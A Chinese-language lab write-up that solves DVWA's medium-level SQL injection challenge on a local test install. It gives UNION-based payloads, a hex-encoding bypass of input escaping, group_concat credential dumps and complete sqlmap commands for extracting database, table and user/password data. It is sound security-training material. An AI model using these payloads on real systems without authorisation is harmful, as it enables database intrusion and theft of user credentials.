[网络安全]DVWA之SQL注入—medium level解题详析

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,高可用系列 2核4GB
简介: 提交用户名后URL并未产生参数的传输,结合页面源代码发现,该数据请求类型为POST请求。

提交用户名后URL并未产生参数的传输,结合页面源代码发现,该数据请求类型为POST请求。


判断漏洞类型

判断是否为数字型注入


使用hackbar进行POST:id=1 and 1=1 &submit=submit 回显如下:

image.png

再POST:id=1 and 1=2 &submit=submit 无任何回显

说明该漏洞类型为数字型注入漏洞


使用BurpSuite进行POST

先抓ID=1的数据包

image.png

在Repeater中修改ID参数为id=1 and 1=1 &Submit=Submit,回显如下:

image.png

再将ID参数修改为id=1 and 1=1 &Submit=Submit 无任何回显

说明该漏洞类型为数字型注入漏洞


判断注入点个数

提交参数id=1 and order by 4

image.png

说明注入点少于4个

不断尝试后得知注入点为2个


BurpSuite+sqlmap数字型注入

具体方式可参考:[网络安全]以留言板项目渗透实例带你入门sqlmap

将拦截包另存为1.txt,放在sqlmap目录下

注意:在sqlmap中不需要考虑注入点的个数


爆数据库名

输入python sqlmap.py -r 1.txt(文件名,下同) -p id(参数名,下同) --dbs

回显如下:

image.png

image.png

爆dvwa库的表名

输入python sqlmap.py -r 1.txt -p id -D dvwa(数据库名,下同) --tables

回显如下:

image.png

image.png

爆users表的列名

输入python sqlmap.py -r 1.txt -p id -D dvwa -T users(表名,下同) --columnsimage.png

回显如下:

image.png


爆列中的字段

输入python sqlmap.py -r 1.txt -p id -D dvwa -T users -C user,password(列名) --dumpimage.png

回显如下:

image.png


基于POST请求的sqlmap数字型注入

查看是否存在注入点

image.png

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1"

回显如下:image.png

故注入点存在


查询数据库名

image.png

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" --dbs

回显如下:

image.png


查询dvwa库的表名

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa --tablesimage.png

回显如下:


image.png

查询users表的列名

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -T users --columnsimage.png

回显如下:

image.png


查询列中的字段

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -T users -C user,password --dumpimage.png

回显如下:

image.png


基于POST请求的BrupSuite数字型注入

注意:在使用BurpSuite进行sql注入时,需要考虑注入点个数


查询数据库名

输入1 union select database()#

回显如下:image.png

可以看到 当sql语句中的注入点个数与判断出的注入点个数不相符时,攻击失败

输入1 union select 1,database()#

回显如下:

image.png


查询dvwa库的表名

输入1 union select 1,table_name from information_schema.tables where table_schema='dvwa'#

回显如下:

image.png


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘dvwa’#’ at line 1 您的SQL语法有错误;查看与MySQL服务器版本相对应的手册,了解在第1行“‘dvwa’#'附近使用的正确语法

查看源代码:

image.png

这行代码使用了PHP内置的 mysqli_real_escape_string() 函数对 $id 变量进行转义处理,以防止 SQL 注入攻击。

例如,如果 $id 变量包含如下字符串:

O'qiushuo

则调用 mysqli_real_escape_string() 函数时,将返回如下字符串:

O\'qiushuo

这样可以保证在 SQL 查询语句中使用 $id 变量时,不会因为包含特殊字符而出现 SQL 注入攻击等问题。


针对特殊字符转义的编码绕过

在 Web 应用程序中,当用户在浏览器中提交表单时,浏览器会对数据进行 URL 编码,然后再将编码后的数据发送到后端服务器上。

攻击者可利用编码方式将SQL 语句和特殊字符进行编码,以绕过应用程序中的安全检查和转义机制。常见的编码方式包括十六进制编码、Unicode 编码、URL 编码等。


十六进制编码

dvwa经十六进制编码后变为64767761

修改以上语句为1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#

注意:要在64767761加上0x声明它为十六进制

image.png

得到两个表名,guestbook和users


Unicode编码

dvwa的Unicode编码为\u0064\u0076\u0077\u0061

由于mysql_real_escape_string() 函数转义了 \ 所以Unicode编码绕过失效


URL编码

网址规定了常用的数字、字母可以直接使用,另外一批作为特殊用户字符也可以直接用(如/ : @ '等),剩下的其它所有字符必须通过%xx编码处理。

image.png

由于字符串’dvwa’中所有的字符均不需要编码,所以URL编码绕过失效。


查询users表的列名

users的十六进制为7573657273

输入id=1 union select 1,column_name from information_schema.columns where table_name=0x7573657273#

回显如下:

image.png


查询列中的字段

输入id=1 union select user,password from users#

注意:由于注入点为两个,所以不能输入id=1 union select 1,user,password from users#,否则该语句认为注入点是三个。

回显如下:

image.png


回显技巧

注入成功后,可选择响应中的页面渲染功能,将回显注入后的页面,直观清晰。

image.png

image.png

3. group_concat函数


group_concat函数 是 MySQL 中的一个聚集函数,用于将指定列(或表达式)的值以逗号分隔的形式进行拼接。

举例如下:

输入id=1 union select 1,group_concat(user,password)from users#

回显:

image.png

该图比上图更为简洁明了


总结

以上为DVWA之SQL注入—medium level解题详析,结合三种注入姿势分享SQL攻击知识。

后续会分享DVWA之SQL注入—High level攻击姿势及解题详析。

我是秋说,我们下次见。


相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
2月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
117 5
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
61 5
|
2月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
110 1
|
2月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
46 1
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
44 3
|
2月前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
83 6
|
2月前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【9月更文挑战第12天】在Web开发中,安全漏洞如同暗礁,尤其对初学者而言,SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)是常见挑战。本文通过实战案例,展示如何利用Python应对这些威胁。首先,通过参数化查询防止SQL注入;其次,借助Jinja2模板引擎自动转义机制抵御XSS攻击;最后,使用Flask-WTF库生成和验证CSRF令牌,确保转账功能安全。掌握这些技巧,助你构建更安全的Web应用。
46 5
|
7天前
|
存储 安全 算法
网络安全与信息安全:漏洞、加密技术及安全意识的重要性
如今的网络环境中,网络安全威胁日益严峻,面对此类问题,除了提升相关硬件的安全性、树立法律法规及行业准则,增强网民的网络安全意识的重要性也逐渐凸显。本文梳理了2000年以来有关网络安全意识的研究,综述范围为中国知网中篇名为“网络安全意识”的期刊、硕博论文、会议论文、报纸。网络安全意识的内涵是在“网络安全”“网络安全风险”等相关概念的发展中逐渐明确并丰富起来的,但到目前为止并未出现清晰的概念界定。此领域内的实证研究主要针对网络安全意识现状与问题,其研究对象主要是青少年。网络安全意识教育方面,很多学者总结了国外的成熟经验,但在具体运用上仍缺乏考虑我国的实际状况。 内容目录: 1 网络安全意识的相关
|
2天前
|
监控 安全 网络安全
企业网络安全:构建高效的信息安全管理体系
企业网络安全:构建高效的信息安全管理体系
18 5
|
3天前
|
存储 安全 网络安全
云计算与网络安全:探索云服务中的信息安全挑战与解决方案
【10月更文挑战第33天】在数字化时代的浪潮中,云计算以其灵活性、可扩展性和成本效益成为企业数字化转型的核心动力。然而,随之而来的网络安全问题也日益突出,成为制约云计算发展的关键因素。本文将深入探讨云计算环境中的网络安全挑战,分析云服务的脆弱性,并提出相应的信息安全策略和最佳实践。通过案例分析和代码示例,我们将展示如何在云计算架构中实现数据保护、访问控制和威胁检测,以确保企业在享受云计算带来的便利的同时,也能够维护其信息系统的安全和完整。
下一篇
无影云桌面